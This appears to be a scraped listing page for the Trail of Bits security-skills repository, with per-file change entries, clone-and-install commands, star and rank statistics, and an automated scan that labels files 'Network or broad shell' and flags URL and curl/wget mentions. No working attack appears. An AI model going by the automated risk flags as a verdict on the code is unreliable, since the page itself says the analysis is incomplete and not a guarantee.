Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/fuzzing-dictionary/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/fuzzing-obstacles/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/harness-writing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/libafl/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/libfuzzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/ossfuzz/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/ruzzy/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/testing-handbook-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/testing-handbook-skills/skills/wycheproof/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/audit-augmentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/crypto-protocol-diagram/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/diagramming-code/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/genotoxic/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/graph-evolution/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/mermaid-to-proverif/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/slicing-code-context/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/trailmark/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/trailmark-finding-triage/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/trailmark-review-gate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/trailmark-structural/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/trailmark-summary/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/trailmark-variant-neighborhood/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/trailmark/skills/vector-forge/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/variant-analysis/skills/variant-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/vulnerability-triage-brocards/skills/vulnerability-triage-brocards/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/writing-lean-proofs/skills/writing-lean-proofs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/yara-authoring/skills/yara-rule-authoring/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

plugins/zeroize-audit/skills/zeroize-audit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2be6433b39e0 → e4dd0bb5b155

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2be6433b39e0

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit e4dd0bb5b15535f7c5a0834187dffba6ac37e4ff

git clone --filter=blob:none --no-checkout https://github.com/trailofbits/skills.git .hotskills/trailofbits-skills && git -C .hotskills/trailofbits-skills checkout --detach e4dd0bb5b15535f7c5a0834187dffba6ac37e4ff # Copy each selected skill directory from .hotskills/trailofbits-skills into .claude/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/trailofbits/skills.git .hotskills/trailofbits-skills && git -C .hotskills/trailofbits-skills checkout --detach e4dd0bb5b15535f7c5a0834187dffba6ac37e4ff # Copy each selected skill directory from .hotskills/trailofbits-skills into .agents/skills/<skill-name>/
8.1kGitHub stars
143stars in 7 days
98skills in this repository
30commits in 30 days

Heat

7.4
  • Star growth, last 7 daysAhead of 90% of tracked repositories
  • Star growth, last 24 hoursAhead of 92% of tracked repositories
  • Rank movement, last 7 daysAhead of 66% of tracked repositories
  • Commits, last 30 daysAhead of 86% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Aug 2, 2026Nov 7, 20268,061

Individual skills in this repository

How it works

agentic-actions-auditor

When your agent uses it

Audits GitHub Actions workflows for security vulnerabilities in AI agent integrations including Claude Code Action, Gemini CLI, OpenAI Codex, and GitHub AI Inference. Detects attack vectors where attacker-controlled input reaches AI agents running in CI/CD pipelines, including env var intermediary patterns, direct expression injection, dangerous sandbox configurations, and wildcard user allowlists. Use when reviewing workflow files that invoke AI coding agents, auditing CI/CD pipeline security for prompt injection risks, or evaluating agentic action configurations.

What it loads into context

Frontmatter

118 tokens

Always available to the agent

SKILL.md

4,896 tokens

When the skill is activated

Reference documents

16,812 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. When to Use
  2. When NOT to Use
  3. Rationalizations to Reject
  4. Audit Methodology
  5. Detailed References

Files

  • ../../../../.claude-plugin/marketplace.jsonasset19,439 bytes
  • ../../../../.claude-plugin/marketplace.jsonasset19,439 bytes
  • ../../../../.claude-plugin/marketplace.jsonasset19,439 bytes
  • ../../.claude-plugin/plugin.jsonasset302 bytes
  • SKILL.mdcore21,743 bytes
  • agents/openai.yamlasset239 bytes
  • assets/trail-of-bits-mark.svgasset3,084 bytes
  • references/action-profiles.mddoc8,966 bytes
  • references/cross-file-resolution.mddoc12,597 bytes
  • references/foundations.mddoc6,659 bytes
  • references/vector-a-env-var-intermediary.mddoc4,482 bytes
  • references/vector-b-direct-expression-injection.mddoc4,645 bytes
  • references/vector-c-cli-data-fetch.mddoc5,042 bytes
  • references/vector-d-pr-target-checkout.mddoc5,235 bytes
  • references/vector-e-error-log-injection.mddoc5,380 bytes
  • references/vector-f-subshell-expansion.mddoc5,917 bytes
  • references/vector-g-eval-of-ai-output.mddoc5,602 bytes
  • references/vector-h-dangerous-sandbox-configs.mddoc5,758 bytes
  • references/vector-i-wildcard-allowlists.mddoc4,372 bytes
  • ../../../audit-context-building/.claude-plugin/plugin.jsonasset416 bytes
  • ../../../building-secure-contracts/.claude-plugin/plugin.jsonasset431 bytes
  • ../../../burpsuite-project-parser/.claude-plugin/plugin.jsonasset305 bytes
  • ../../../c-review/.claude-plugin/plugin.jsonasset385 bytes
  • ../../../chrome-mcp-troubleshooting/.claude-plugin/plugin.jsonasset196 bytes
  • ../../../code-improver/.claude-plugin/plugin.jsonasset422 bytes
  • ../../../code-improver/tests/fixtures/plugin-dev/.claude-plugin/plugin.jsonasset336 bytes
  • ../../../code-improver/tests/fixtures/pr-review-toolkit/.claude-plugin/plugin.jsonasset330 bytes
  • ../../../code-improver/tests/fixtures/review-panel/.claude-plugin/plugin.jsonasset360 bytes
  • ../../../constant-time-analysis/.claude-plugin/plugin.jsonasset244 bytes
  • ../../../culture-index/.claude-plugin/plugin.jsonasset181 bytes
  • ../../../cvss-scoring/.claude-plugin/plugin.jsonasset366 bytes
  • ../../../devcontainer-setup/.claude-plugin/plugin.jsonasset255 bytes
  • ../../../differential-review/.claude-plugin/plugin.jsonasset317 bytes
  • ../../../dimensional-analysis/.claude-plugin/plugin.jsonasset724 bytes
  • ../../../dwarf-expert/.claude-plugin/plugin.jsonasset346 bytes
  • ../../../entry-point-analyzer/.claude-plugin/plugin.jsonasset444 bytes
  • ../../../firebase-apk-scanner/.claude-plugin/plugin.jsonasset317 bytes
  • ../../../fp-check/.claude-plugin/plugin.jsonasset209 bytes
  • ../../../fp-check/hooks/hooks.jsonasset3,905 bytes
  • ../../../gh-cli/.claude-plugin/plugin.jsonasset324 bytes
  • ../../../gh-cli/hooks/hooks.jsonasset1,412 bytes
  • ../../../gh-cli/hooks/hooks.jsonasset1,412 bytes
  • ../../../gh-cli/hooks/hooks.jsonasset1,412 bytes
  • ../../../gh-cli/hooks/hooks.jsonasset1,412 bytes
  • ../../../gh-cli/hooks/hooks.jsonasset1,412 bytes
  • ../../../gh-cli/hooks/hooks.jsonasset1,412 bytes
  • ../../../git-cleanup/.claude-plugin/plugin.jsonasset343 bytes
  • ../../../github-triage/.claude-plugin/plugin.jsonasset549 bytes
  • ../../../goal-prompt/.claude-plugin/plugin.jsonasset301 bytes
  • ../../../insecure-defaults/.claude-plugin/plugin.jsonasset367 bytes
  • ../../../let-fate-decide/.claude-plugin/plugin.jsonasset447 bytes
  • ../../../modern-cpp/.claude-plugin/plugin.jsonasset338 bytes
  • ../../../modern-python/.claude-plugin/plugin.jsonasset352 bytes
  • ../../../modern-python/hooks/hooks.jsonasset352 bytes
  • ../../../modern-python/hooks/hooks.jsonasset352 bytes
  • ../../../mutation-testing/.claude-plugin/plugin.jsonasset461 bytes
  • ../../../open-sourcing/.claude-plugin/plugin.jsonasset398 bytes
  • ../../../open-sourcing/.claude-plugin/plugin.jsonasset398 bytes
  • ../../../patching-bugs/.claude-plugin/plugin.jsonasset255 bytes
  • ../../../post-patch-validation/.claude-plugin/plugin.jsonasset478 bytes
  • ../../../property-based-testing/.claude-plugin/plugin.jsonasset304 bytes
  • ../../../regression-hunt/.claude-plugin/plugin.jsonasset265 bytes
  • ../../../review-walkthrough/.claude-plugin/plugin.jsonasset316 bytes
  • ../../../rust-review/.claude-plugin/plugin.jsonasset530 bytes
  • ../../../second-opinion/.claude-plugin/plugin.jsonasset224 bytes
  • ../../../semgrep-rule-creator/.claude-plugin/plugin.jsonasset212 bytes
  • ../../../semgrep-rule-variant-creator/.claude-plugin/plugin.jsonasset293 bytes
  • ../../../sharp-edges/.claude-plugin/plugin.jsonasset308 bytes
  • ../../../spec-to-code-compliance/.claude-plugin/plugin.jsonasset370 bytes
  • ../../../static-analysis/.claude-plugin/plugin.jsonasset239 bytes
  • ../../../supply-chain-risk-auditor/.claude-plugin/plugin.jsonasset454 bytes
  • ../../../testing-handbook-skills/.claude-plugin/plugin.jsonasset213 bytes
  • ../../../trailmark/.claude-plugin/plugin.jsonasset331 bytes
  • ../../../trailmark/.claude-plugin/plugin.jsonasset331 bytes
  • ../../../variant-analysis/.claude-plugin/plugin.jsonasset206 bytes
  • ../../../vulnerability-triage-brocards/.claude-plugin/plugin.jsonasset475 bytes
  • ../../../writing-lean-proofs/.claude-plugin/plugin.jsonasset297 bytes
  • ../../../yara-authoring/.claude-plugin/plugin.jsonasset229 bytes
  • ../../../zeroize-audit/.claude-plugin/plugin.jsonasset315 bytes

No excerpt is shown for this license. Read the source on GitHub.

View the complete source on GitHub

Skills included

  • agentic-actions-auditor
  • audit-context-building
  • algorand-vulnerability-scanner
  • audit-prep-assistant
  • cairo-vulnerability-scanner
  • code-maturity-assessor
  • cosmos-vulnerability-scanner
  • guidelines-advisor
  • secure-workflow-guide
  • solana-vulnerability-scanner
  • substrate-vulnerability-scanner
  • token-integration-analyzer
  • ton-vulnerability-scanner
  • burpsuite-project-parser
  • c-review
  • chrome-mcp-troubleshooting
  • code-improver
  • pr-improver
  • skill-improver
  • review-pr
  • panel-review
  • constant-time-analysis
  • interpreting-culture-index
  • cvss-scoring
  • devcontainer-setup
  • differential-review
  • dimensional-analysis
  • dwarf-expert
  • entry-point-analyzer
  • firebase-apk-scanner
  • fp-check
  • gh-cli
  • github-triage
  • goal-prompt
  • let-fate-decide
  • modern-cpp
  • modern-python
  • mutation-testing
  • open-sourcing
  • implement-patch
  • patching-bugs
  • prove-patch
  • reproduce-bug
  • validate-bug
  • post-patch-validation
  • property-based-testing
  • adjudicate-regression
  • hunt-regressions
  • prepare-regression
  • regression-hunt
  • replay-regression
  • report-regressions
  • reproduce-regression
  • review-walkthrough
  • rust-review
  • second-opinion
  • semgrep-rule-creator
  • semgrep-rule-variant-creator
  • sharp-edges
  • spec-to-code-compliance
  • codeql
  • sarif-parsing
  • semgrep
  • supply-chain-risk-auditor
  • address-sanitizer
  • aflpp
  • atheris
  • cargo-fuzz
  • constant-time-testing
  • coverage-analysis
  • fuzzing-dictionary
  • fuzzing-obstacles
  • harness-writing
  • libafl
  • libfuzzer
  • ossfuzz
  • ruzzy
  • testing-handbook-generator
  • wycheproof
  • audit-augmentation
  • crypto-protocol-diagram
  • diagramming-code
  • genotoxic
  • graph-evolution
  • mermaid-to-proverif
  • slicing-code-context
  • trailmark
  • trailmark-finding-triage
  • trailmark-review-gate
  • trailmark-structural
  • trailmark-summary
  • trailmark-variant-neighborhood
  • vector-forge
  • variant-analysis
  • vulnerability-triage-brocards
  • writing-lean-proofs
  • yara-rule-authoring
  • zeroize-audit

Repository facts

License
CC-BY-SA-4.0
Created
Jan 14, 2026
Last pushed
Nov 6, 2026
Forks
683
Open issues
32
Project activity
Active

Rank over the last 12 weeks

Now #183 · best #160 · down 10 in 30 days

  1. #179 on Oct 29
  2. #180 from Oct 30 to Nov 1
  3. #181 on Nov 2
  4. #182 on Nov 3
  5. #181 from Nov 4 to Nov 6
  6. #183 since Nov 7
63 earlier periods
  1. #161 on Aug 2
  2. #162 from Aug 8 to Aug 9
  3. #164 from Aug 10 to Aug 11
  4. #163 on Aug 12
  5. #164 from Aug 13 to Aug 17
  6. #166 from Aug 18 to Aug 19
  7. #164 on Aug 20
  8. #163 on Aug 21
  9. #160 on Aug 22
  10. #165 on Aug 23
  11. #164 on Aug 24
  12. #163 from Aug 25 to Aug 26
  13. #164 on Aug 27
  14. #163 on Aug 28
  15. #164 on Aug 29
  16. #163 on Aug 30
  17. #162 on Aug 31
  18. #165 on Sep 1
  19. #162 on Sep 2
  20. #167 on Sep 3
  21. #165 on Sep 4
  22. #167 on Sep 5
  23. #164 on Sep 6
  24. #167 from Sep 7 to Sep 8
  25. #168 from Sep 9 to Sep 10
  26. #165 on Sep 11
  27. #169 from Sep 12 to Sep 13
  28. #168 on Sep 14
  29. #169 on Sep 15
  30. #168 on Sep 16
  31. #169 on Sep 17
  32. #170 on Sep 18
  33. #169 on Sep 19
  34. #172 on Sep 20
  35. #171 on Sep 21
  36. #170 from Sep 22 to Sep 23
  37. #171 from Sep 24 to Sep 26
  38. #173 on Sep 27
  39. #175 from Sep 28 to Sep 29
  40. #171 on Sep 30
  41. #174 on Oct 1
  42. #175 on Oct 2
  43. #172 on Oct 3
  44. #170 on Oct 4
  45. #173 from Oct 5 to Oct 6
  46. #175 on Oct 7
  47. #173 on Oct 8
  48. #176 on Oct 9
  49. #174 on Oct 10
  50. #175 from Oct 11 to Oct 12
  51. #177 on Oct 13
  52. #176 on Oct 14
  53. #175 on Oct 15
  54. #174 on Oct 16
  55. #177 on Oct 17
  56. #178 on Oct 18
  57. #177 on Oct 19
  58. #176 on Oct 20
  59. #179 on Oct 21
  60. #178 on Oct 22
  61. #177 from Oct 23 to Oct 24
  62. #178 on Oct 25
  63. #178 on Oct 28

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 7, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 675 notes
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/gh-cli/hooks/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/gh-cli/hooks/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/gh-cli/hooks/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/gh-cli/hooks/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/gh-cli/hooks/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/modern-python/hooks/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/open-sourcing/.claude-plugin/plugin.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/trailmark/.claude-plugin/plugin.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/audit-context-building/skills/audit-context-building/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/building-secure-contracts/skills/audit-prep-assistant/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 2,577 signals by file

.claude-plugin/marketplace.json

  • Network accessline 71
    "author": {         "name": "Evan Downing",         "url": "https://github.com/trailofbits"
  • Network accessline 72
    "name": "Evan Downing",         "url": "https://github.com/trailofbits"       },
  • Network accessline 73
    "url": "https://github.com/trailofbits"
  • Network accessline 81
    "author": {         "name": "Alexis Challande",         "url": "https://github.com/trailofbits"
  • Network accessline 82
    "name": "Alexis Challande",         "url": "https://github.com/trailofbits"       },
  • Network accessline 83
    "url": "https://github.com/trailofbits"
  • Network accessline 106
    "name": "gh-cli",       "version": "1.6.3",       "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.",
  • Network accessline 107
    "version": "1.6.3",       "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.",       "author": {
  • Network accessline 108
    "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.",
  • Network accessline 110
    "name": "William Tan",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 111
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 112
    "url": "https://github.com/trailofbits"
  • Network accessline 131
    "name": "Nicolas Donboly",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 132
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 133
    "url": "https://github.com/trailofbits"
  • Network accessline 142
    "name": "Trail of Bits",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 143
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 144
    "url": "https://github.com/trailofbits"
  • Network accessline 152
    "author": {         "name": "Trail of Bits",         "url": "https://github.com/trailofbits"
  • Network accessline 153
    "name": "Trail of Bits",         "url": "https://github.com/trailofbits"       },
  • Network accessline 154
    "url": "https://github.com/trailofbits"
  • Network accessline 163
    "name": "Scott Arciszewski",         "email": "opensource@trailofbits.com",         "url": "https://github.com/tob-scott-a"
  • Network accessline 164
    "email": "opensource@trailofbits.com",         "url": "https://github.com/tob-scott-a"       },
  • Network accessline 165
    "url": "https://github.com/tob-scott-a"
  • Network accessline 183
    "author": {         "name": "Trail of Bits",         "url": "https://github.com/trailofbits"
  • Network accessline 184
    "name": "Trail of Bits",         "url": "https://github.com/trailofbits"       },
  • Network accessline 185
    "url": "https://github.com/trailofbits"
  • Network accessline 213
    "name": "Scott Arciszewski",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 214
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 215
    "url": "https://github.com/trailofbits"
  • Network accessline 250
    "author": {         "name": "Scott Arciszewski",         "url": "https://github.com/tob-scott-a"
  • Network accessline 251
    "name": "Scott Arciszewski",         "url": "https://github.com/tob-scott-a"       },
  • Network accessline 252
    "url": "https://github.com/tob-scott-a"
  • Network accessline 288
    "name": "William Tan",         "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"
  • Network accessline 289
    "email": "opensource@trailofbits.com",         "url": "https://github.com/trailofbits"       },
  • Network accessline 290
    "url": "https://github.com/trailofbits"
  • Network accessline 299
